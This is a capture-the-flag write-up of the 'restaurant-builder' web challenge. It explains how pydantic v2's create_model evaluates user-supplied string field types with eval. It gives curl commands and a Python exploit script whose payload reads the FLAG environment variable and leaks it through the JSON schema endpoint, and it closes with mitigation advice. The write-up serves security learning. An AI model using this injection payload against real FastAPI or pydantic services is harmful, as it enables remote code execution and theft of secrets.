← Back to Writeups
CUSTOMMediumWeb

restaurant-builder

XESXOR9/10/20264 min read
#web#custom#medium#arbitrary_expression_evaluatio#environment_variable_exfiltrat#forward_reference_eval_rce#pydantic_create_model_eval#typing_literal_const_schema_ex#linux

restaurant-builder

Platform: kitctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2024-05-31 | Status: Solved Techniques: arbitrary_expression_evaluation, environment_variable_exfiltration, forward_reference_eval_rce, pydantic_create_model_eval, typing_literal_const_schema_exfil

Summary

Task: FastAPI app passes a user-controlled Dict[str,str] into pydantic create_model; in pydantic v2 string field values are evaluated as forward-reference type annotations, giving arbitrary expression evaluation (RCE). Solution: register a blueprint whose field value is import('typing').Literal[import('os').environ['FLAG']] so the flag becomes a Literal type, rendered as a const in the JSON schema leaked by GET /blueprint/{name}.

restaurant-builder — KITCTF / GPN24 CTF (2024)

Description

So you want to build your own restaurant? Well, we obviously can't just let you do that. Please first submit blueprints and exact descriptions for the building, all the furniture and every single item you plan to have in the restaurant.

A small FastAPI application lets you register "blueprints" (dynamic pydantic models) and then "items" validated against those blueprints. The flag is provided to the server via the FLAG environment variable. The goal is to leak it through the blueprint API.

Analysis

The entire app is 43 lines. The interesting endpoint is register_blueprint:

python
@app.post("/blueprint/{name}")
def register_blueprint(name: str, description: Dict[str,str] = Body()):
    if name in blueprints:
        raise HTTPException(status_code=409, detail="...")
    description = {k: v for k,v in description.items() if not k.startswith("__")}
    Blueprint = create_model(name, **description)
    blueprints[name] = Blueprint
    return "Blueprint successfully registered"

create_model(name, **description) is called with a fully user-controlled Dict[str, str].

In pydantic v2, create_model(name, field=value) interprets each field=value pair as a field definition. When the value is a bare string, pydantic treats it as a type annotation expressed as a forward reference. Resolving a forward reference ends in Python's eval():

pydantic._internal._typing_extra.try_eval_type
  -> eval_type_backport
    -> typing._eval_type
      -> annotationlib ForwardRef.evaluate
        -> eval(code, globals, locals)

So every field value is evaluated as an arbitrary Python expression at blueprint registration time. This is an arbitrary-expression-evaluation / RCE primitive.

The only filter applied is not k.startswith("__"), which filters the dict keys (the field names) — not the values. The expression strings are completely unrestricted, so __import__, attribute access, subscripting, etc. are all available inside them.

Confirmation (local): sending a value of __import__("os").environ["FLAG"] raised SyntaxError: Forward reference must be an expression -- got 'GPNCTF{test}'. The expression was evaluated first to the flag string, and only then did pydantic try (and fail) to parse the result as a type annotation — proving the eval primitive fires before any type validation.

Solution

The error above shows we have eval, but a raw string is not a valid type, so the model never registers and we cannot read it back. We need the evaluated expression to resolve to a valid type that also embeds the flag, so it survives registration and shows up in the schema returned by GET /blueprint/{name} (which calls blueprint.model_json_schema()).

typing.Literal[<value>] is perfect: it is a valid type, and pydantic renders a Literal into JSON schema as a const. So we build:

__import__("typing").Literal[__import__("os").environ["FLAG"]]

which evaluates to Literal["GPNCTF{...}"]. The flag ends up in the schema's const key.

Exploitation steps

  1. POST a blueprint with a fresh random name whose single field value is the payload expression. (Names can only be registered once — reuse returns 409 — so always pick a new name.)
  2. GET the same blueprint to retrieve its JSON schema, which now contains the flag in the const field.
bash
BASE="https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de"

# 1) Register the malicious blueprint
curl -s -X POST "$BASE/blueprint/pwnX" \
  -H "Content-Type: application/json" \
  -d '{"flag": "__import__(\"typing\").Literal[__import__(\"os\").environ[\"FLAG\"]]"}'

# 2) Read back the schema -> flag is in the const
curl -s "$BASE/blueprint/pwnX"

Full reproducible exploit

python
#!/usr/bin/env python3
import secrets
import requests

BASE = "https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de"

# Payload: evaluated as a Python expression by pydantic's forward-reference eval.
# Resolves to Literal["<flag>"], a valid type, rendered as `const` in JSON schema.
payload = {
    "flag": '__import__("typing").Literal[__import__("os").environ["FLAG"]]'
}

name = "pwn_" + secrets.token_hex(4)  # blueprint names are single-use (409 on reuse)

r = requests.post(f"{BASE}/blueprint/{name}", json=payload)
print("register:", r.status_code, r.text)

schema = requests.get(f"{BASE}/blueprint/{name}").json()
flag = schema["properties"]["flag"]["const"]
print("FLAG:", flag)

Server response (live instance)

json
{"properties":{"flag":{"const":"GPNCTF{REDACTED}","title":"Flag","type":"string"},"required":["flag"],"title":"pwnX","type":"object"}

The flag text ("...one or two RCES later they built happily ever after") confirms the intended bug is arbitrary expression evaluation (RCE) via create_model with string field types. The Literal[] -> const schema leak is just the cleanest exfiltration; a general RCE (running commands, embedding any type that surfaces the value) is equally possible.

Mitigation

  • Never pass untrusted strings as pydantic field type annotations. create_model field values given as strings are evaluated as type expressions (forward references -> eval).
  • Use explicit (type, default) tuples with a fixed allowlist of permitted types, or validate/whitelist allowed type names before building the model.
  • Treat any "dynamic schema from user input" feature as a code-execution sink.